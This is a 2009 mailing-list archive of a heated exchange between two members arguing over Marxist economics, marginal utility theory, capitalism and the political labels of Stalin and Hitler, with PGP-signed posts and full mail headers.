> Nyah, nyah, nyah-nyah, nyah... > > > - -- grok. > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkody3sACgkQXo3EtEYbt3Gk4ACfWMr+a2YfPTO7R1KUl6lvZFQb > TOsAoJ8NpbrMYDpvJ31NV7dKU4WjyU03 > =3DF6S6 > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --00504502e5011c27c9046aede259 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable John is right. You're incapable of defending your ideas without going o= ff-topic and lashing out angrily at the world, and this is the best level y= ou're capable of.=A0 Unless you would like to pick up where you left of= f and attempt to defend the Labor Theory of Value, but so far you're in= capable of convincing even a single person on this list, presumably because= the entire world, the field of economics, and this mailing list is engaged= in a vast conspiracy.

If labor time is the basis of all value, then what role does utility pl= ay? The two have no relation to one another. If economic decisions are made= on the basis of utility, what's left for the man-hours to signify?



On Wed, May 27, 2009 at 7:23 PM, gro= k <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Your emotions blind you.

I think this line of "dialog" has petered out into nothing much a= do at all.
Nyah, nyah, nyah-nyah, nyah...


- -- grok.








- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkody3sACgkQXo3EtEYbt3Gk4ACfWMr+a2YfPTO7R1KUl6lvZFQb
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=3DF6S6
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--00504502e5011c27c9046aede259-- From vortexb-l-request@eskimo.com Wed May 27 17:19:54 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4S0Jkmo012783; Wed, 27 May 2009 17:19:46 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4S0JjqT012769; Wed, 27 May 2009 17:19:45 -0700 Resent-Date: Wed, 27 May 2009 17:19:45 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=cgh61Fml8Ei2PBd1zvWpyUf9W0K0Cv6omK+3G/ThTGI=; b=cN1/JnxkrBpkg6mTg0De4RcqyGuZkw5jUpFy4eFz8Ubo5szSqorS+y87YSzOGeL+53 f9ql3wUqZfS6f7mP8JF5zXTm4QabVleBinWn2y0bHPvtPKPjtBSOO+SyiE7fa9MgcjdF S7FfCIf+WhJtpg+kvXheSxRpF0Pp03Bxl7BXk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=N+M9MYBX5O9iqt9h5tIe5nyxueYY7xhExAi0ktLfjVVn9QEfuZbP7FFh22+af50weR /RIpLQ5lNcQMraMNO7VeofX/uJMTcyuYoR+X6kKeHR3TZqUK5YkElhyc1syf9IenCE7m fDQaZ+EYA88bW4WyxylBa4OCO4I6WWosJLGoU= MIME-Version: 1.0 In-Reply-To: <20090527235551.GK17182@shell.resist.ca> References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> <20090527235551.GK17182@shell.resist.ca> From: Charles HOPE Date: Wed, 27 May 2009 20:19:22 -0400 Message-ID: <63ffa6020905271719j718505cdoa446ae93eee399cc@mail.gmail.com> Subject: Re: [VoB]:Human Nature and fish To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b6da92ee58046aedea23 Resent-Message-ID: <-SHz-B.A.ZHD.hidHKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4235 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 477 --001636c5b6da92ee58046aedea23 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable As opposed to the gentle and humane governments that arise when Capitalists are slaughtered? On Wed, May 27, 2009 at 7:55 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, John Fields > mounted the barricade and roared out: > > > >> >The Law is an ass, isn't it? > > >> > > >> --- > > >> More like a mule which won't respond to your rein. > > > > > >No, the Law is definitely an ass. > > > > --- > > What do you mean? > > > > JF > > I mean that your government is a criminal, gangster enterprise. > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkod0wYACgkQXo3EtEYbt3GXAwCgxzGgRY84ull8XY4t08s4z4DL > c0EAoPSL6dymcvtaggW7BBSqCUuHdtJQ > =3Dh7Nr > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b6da92ee58046aedea23 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable As opposed to the gentle and humane governments that arise when Capitalists= are slaughtered?

On Wed, May 27, 2009 at= 7:55 PM, grok <grok= @resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, John Fields <jfields@austininstruments.com>
mounted the barricade and roared out:

> >> >The Law is an ass, isn't it?
> >>
> >> ---
> >> More like a mule which won't respond to your rein.
> >
> >No, the Law is definitely an ass.
>
> ---
> What do you mean?
>
> JF

I mean that your government is a criminal, gangster enterprise.

- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkod0wYACgkQXo3EtEYbt3GXAwCgxzGgRY84ull8XY4t08s4z4DL
c0EAoPSL6dymcvtaggW7BBSqCUuHdtJQ
=3Dh7Nr
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b6da92ee58046aedea23-- From vortexb-l-request@eskimo.com Wed May 27 17:29:56 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4S0TsBl029433; Wed, 27 May 2009 17:29:54 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4S0TkNm029394; Wed, 27 May 2009 17:29:46 -0700 Resent-Date: Wed, 27 May 2009 17:29:46 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 17:29:40 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Black Budget Higher Than Ever Message-ID: <20090528002940.GL17182@shell.resist.ca> Reply-To: grok@resist.ca References: <20090527190928.GA23886@shell.resist.ca> <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> <20090527221254.GF17182@shell.resist.ca> <63ffa6020905271539r3bd241b8j9a165f8d36770b00@mail.gmail.com> <20090527231439.GG17182@shell.resist.ca> <63ffa6020905271621s492a9c09r912e718227df3632@mail.gmail.com> <20090527232339.GH17182@shell.resist.ca> <63ffa6020905271717x73796864x8c682efd37632a38@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905271717x73796864x8c682efd37632a38@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4236 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 478 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > John is right. You're incapable of defending your ideas without going > off-topic and lashing out angrily at the world, and this is the best level > you're capable of. No, you're both full of shit -- and merely gang up for support. The usual. Like bandits on the high road. Honor amongst thieves, and all that. > Unless you would like to pick up where you left off and > attempt to defend the Labor Theory of Value, but so far you're incapable of > convincing even a single person on this list, presumably because the entire > world, the field of economics, and this mailing list is engaged in a vast > conspiracy. You're all part of a conspiracy, all right: It's called "U.S. Imperialism". > If labor time is the basis of all value, then what role does utility play? > The two have no relation to one another. If economic decisions are made on > the basis of utility, what's left for the man-hours to signify? You people couldn't hold a contradiction in your head to save your lives, apparently. It's been trained out of your minds. Just like training dogs and performing circus animals to do unnatural acts for audiences, at the drop of a hat. Such are the product of class society. So: your utility reflects the vagaries of supply of and demand for commodities, fella. And I think we'd better take very small steps (and use simple words, for that matter) here, with you lot. So that's enuff said, right there. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkod2vQACgkQXo3EtEYbt3GBkACfay79Vy51eLYvW24+gnW/OnUZ g2wAnjgsw+woar9tMdaejCiwaHhapJws =i4qn -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 17:34:43 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4S0YfmN016826; Wed, 27 May 2009 17:34:41 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4S0Yb8O016772; Wed, 27 May 2009 17:34:37 -0700 Resent-Date: Wed, 27 May 2009 17:34:37 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 17:34:30 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Human Nature and fish Message-ID: <20090528003429.GM17182@shell.resist.ca> Reply-To: grok@resist.ca References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> <20090527235551.GK17182@shell.resist.ca> <63ffa6020905271719j718505cdoa446ae93eee399cc@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905271719j718505cdoa446ae93eee399cc@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: HE-Frag, supercavitating, Co60, nitromethane, C-141B Starlifter User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4237 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 479 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > As opposed to the gentle and humane governments that arise when Capitalists > are slaughtered? Jeebux H. Keerist, whatuniverse are we in again?? It's the **CAPITALISTS** who do all the slaughtering, chump. As they are planning for youse all once again right now, as a matter of fact. This time your Masters LOSE, however. You think about that. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkod3BUACgkQXo3EtEYbt3HtGwCcCVKitt8VNrqmeQBnnqo1x+VT qFAAn2uSyz0i/LCp4VZSpUdE5nPAfS7S =mvXn -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 17:52:00 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4S0pnni023467; Wed, 27 May 2009 17:51:54 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4S0pmOg023457; Wed, 27 May 2009 17:51:48 -0700 Resent-Date: Wed, 27 May 2009 17:51:48 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=aYcZcKwxDnoC9oGqiK8K8gsjLfz1/E/LapZuFC13p58=; b=eTf9OfkNq42prLnDh0wPgi6v7XqovHMQnPwCdewah/BT+Wtaya1Wz9b3/PUnEDiHmM EK4pIF7LWJ6N24zYGMMzpHclfruqdIW7yVlPabtQrlkG90Mtfsvztj9j9zesYcouX3AQ bYmvd97uZ/2ha2ELoQv41ypF6FOeO8C8DQ7Ec= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=ZW2CqFLtFNiCsgs/k3v8fgAh9XJJDYxYbdsjA0vI3cot99WbNWP6yk73XPDeS6VKlf zMWgmVI/rWgJcZRPccHLv5Nob/fynsJ66EHzq1KV7r+DePuUTNz12ecFYEY7CaI9lo39 VgN0xPemHt6TUAKE4xWBiVwQrrAzUteVDAKPA= MIME-Version: 1.0 In-Reply-To: <20090528003429.GM17182@shell.resist.ca> References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> <20090527235551.GK17182@shell.resist.ca> <63ffa6020905271719j718505cdoa446ae93eee399cc@mail.gmail.com> <20090528003429.GM17182@shell.resist.ca> From: Charles HOPE Date: Wed, 27 May 2009 20:51:24 -0400 Message-ID: <63ffa6020905271751y6bdc4994t7a64b42a07c67ab4@mail.gmail.com> Subject: Re: [VoB]:Human Nature and fish To: grok@resist.ca Cc: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5ad1b289c75046aee5d67 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4238 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 480 --001636c5ad1b289c75046aee5d67 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Stalin was a Capitalist? Hitler, whose Fascism charted a third way apart from both capitalism and communism was a capitalist? On Wed, May 27, 2009 at 8:34 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > As opposed to the gentle and humane governments that arise when > Capitalists > > are slaughtered? > > Jeebux H. Keerist, whatuniverse are we in again?? > It's the **CAPITALISTS** who do all the slaughtering, chump. As they are > planning for youse all once again right now, as a matter of fact. > > This time your Masters LOSE, however. You think about that. > > > - -- grok. > > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkod3BUACgkQXo3EtEYbt3HtGwCcCVKitt8VNrqmeQBnnqo1x+VT > qFAAn2uSyz0i/LCp4VZSpUdE5nPAfS7S > =3DmvXn > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5ad1b289c75046aee5d67 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Stalin was a Capitalist? Hitler, whose Fascism charted a third way apart fr= om both capitalism and communism was a capitalist?=A0

On Wed, May 27, 2009 at 8:34 PM, grok <<= a href=3D"mailto:grok@resist.ca">grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> As opposed to the gentle and humane government= s that arise when Capitalists
> are slaughtered?

Jeebux H. Keerist, whatuniverse are we in again??
It's the **CAPITALISTS** who do all the slaughtering, chump. As they ar= e
planning for youse all once again right now, as a matter of fact.

This time your Masters LOSE, however. You think about that.


- -- grok.








- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkod3BUACgkQXo3EtEYbt3HtGwCcCVKitt8VNrqmeQBnnqo1x+VT
qFAAn2uSyz0i/LCp4VZSpUdE5nPAfS7S
=3DmvXn
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5ad1b289c75046aee5d67-- From vortexb-l-request@eskimo.com Wed May 27 18:55:32 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4S1tSSk010087; Wed, 27 May 2009 18:55:29 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4S1tSAa010080; Wed, 27 May 2009 18:55:28 -0700 Resent-Date: Wed, 27 May 2009 18:55:27 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 18:55:21 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090528015520.GA18536@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Threat, RFI, NADIS, Internet Underground, Rose Revolution User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4239 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:The Country of Committees Status: O X-Status: X-Keywords: X-UID: 481 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Since youse people are utterly and absolutely shameless about advancing and maintaining howling lies and stereotypes of one stripe or another, here's *another* one we can have fun with: in Eastern Europa, under the stalinists, people often used to disparagingly refer to the Soviet Union as "The Country of Committees". I wonder why. And we *all* know how inferior committees are to the work of competent and inspired individuals, right..? Right. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkod7wgACgkQXo3EtEYbt3EeXgCglFFvoMUb/o1QM/F5JJ1TMZ+6 E/wAoMwVgm2W2vBgDXm7VwCFiamowmI5 =ZRbR -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 19:01:39 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4S21b9d018285; Wed, 27 May 2009 19:01:37 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4S21ZSD018272; Wed, 27 May 2009 19:01:35 -0700 Resent-Date: Wed, 27 May 2009 19:01:35 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 19:01:21 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Human Nature and fish Message-ID: <20090528020121.GB18536@shell.resist.ca> Reply-To: grok@resist.ca References: <20090527045107.GB21543@shell.resist.ca> <90F0F609EF004713B0E68AB32FA6CB1B@REVTEC1> <20090527192018.GC23886@shell.resist.ca> <20090527220800.GE17182@shell.resist.ca> <7jjr1557h4112otbrqtinks8r32bh20522@4ax.com> <20090527235551.GK17182@shell.resist.ca> <63ffa6020905271719j718505cdoa446ae93eee399cc@mail.gmail.com> <20090528003429.GM17182@shell.resist.ca> <63ffa6020905271751y6bdc4994t7a64b42a07c67ab4@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905271751y6bdc4994t7a64b42a07c67ab4@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Threat, RFI, NADIS, Internet Underground, Rose Revolution User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <9QGMKB.A.adE._BfHKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4240 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 482 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Stalin was a Capitalist? Hitler, whose Fascism charted a third way apart > from both capitalism and communism was a capitalist? Stalin in fact acted as an agent of capitalist imperialism, in much the same way today's union and social-democrat party "leaderships" do. Explain Yalta and its aftermath in any other terms, for instance. And Hitler very much was a capitalist stooge. I don't see how you think you can try to get that one past anyone. And none of this can divert from the truth of what all the capitalists in the History of the World truly are: a gang of blood-thirsty thieves and slavers and serial mass murderers. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkod8HEACgkQXo3EtEYbt3GBfACgqkivoI1VVH3EpzxI/zBsKA92 fFoAoLEhEgvG6BuJohdIZWktR+vxXiWW =aHLf -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 21:22:52 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4S4MosM011790; Wed, 27 May 2009 21:22:50 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4S4MgE8011769; Wed, 27 May 2009 21:22:42 -0700 Resent-Date: Wed, 27 May 2009 21:22:41 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Wed, 27 May 2009 21:22:35 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090528042235.GC18536@shell.resist.ca> Reply-To: grok@resist.ca References: <63ffa6020905271213y60653587y75ea91d455bd092b@mail.gmail.com> <20090527200533.GE23886@shell.resist.ca> <2hdr15lk0oihvefdno4svuu6jum232r3qv@4ax.com> <20090527221254.GF17182@shell.resist.ca> <63ffa6020905271539r3bd241b8j9a165f8d36770b00@mail.gmail.com> <20090527231439.GG17182@shell.resist.ca> <63ffa6020905271621s492a9c09r912e718227df3632@mail.gmail.com> <20090527232339.GH17182@shell.resist.ca> <63ffa6020905271717x73796864x8c682efd37632a38@mail.gmail.com> <20090528002940.GL17182@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <20090528002940.GL17182@shell.resist.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Threat, RFI, NADIS, Internet Underground, Rose Revolution User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4241 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Marginal utility of Marginal Utility Theory Status: O X-Status: X-Keywords: X-UID: 483 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Here's a very good synopsis of what's wrong with your damned 'Marginal Utility' theory. (And FYI this the premier source of commie texts on the entire Internet.) - -- grok. MIA: Encyclopedia of Marxism: Glossary of Terms Theory of Marginal Utility: - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoeEYsACgkQXo3EtEYbt3HZJgCgmOfbCWI39fQV6VIoNnAC6sku O6EAnA0y4+jyIMvGwXeEQvFhdaL4Xo85 =4Ljx -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Wed May 27 22:35:40 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4S5ZbCt020962; Wed, 27 May 2009 22:35:37 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4S5ZaNl020954; Wed, 27 May 2009 22:35:36 -0700 Resent-Date: Wed, 27 May 2009 22:35:36 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=xL6lXXLlmiYnP1JSMCaGZOohkHT+66aE5XbRAV/uM+s=; b=Uofqjv5MpSUKDZAJeFcq+T1IQRxhz2fTiIvNqlL8vUGyds4BDPUll6ndI5Nx9MZ6p3 5LUWU4xQVymNPakjngL23ecv6A7FNooHPAmyIMvX7n5lMXs6qFNJ16QQY/9ZMq9PrgL4 +Cl2u57prgZBbNROVZ5Fhv85wtVJHvp6UKjeo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=jfls6M/qrmtOMLm6QnoUfjUG4pMdbpLgkaHgRWnG08mnFfYy9F+FCpm+nYFY2S7t36 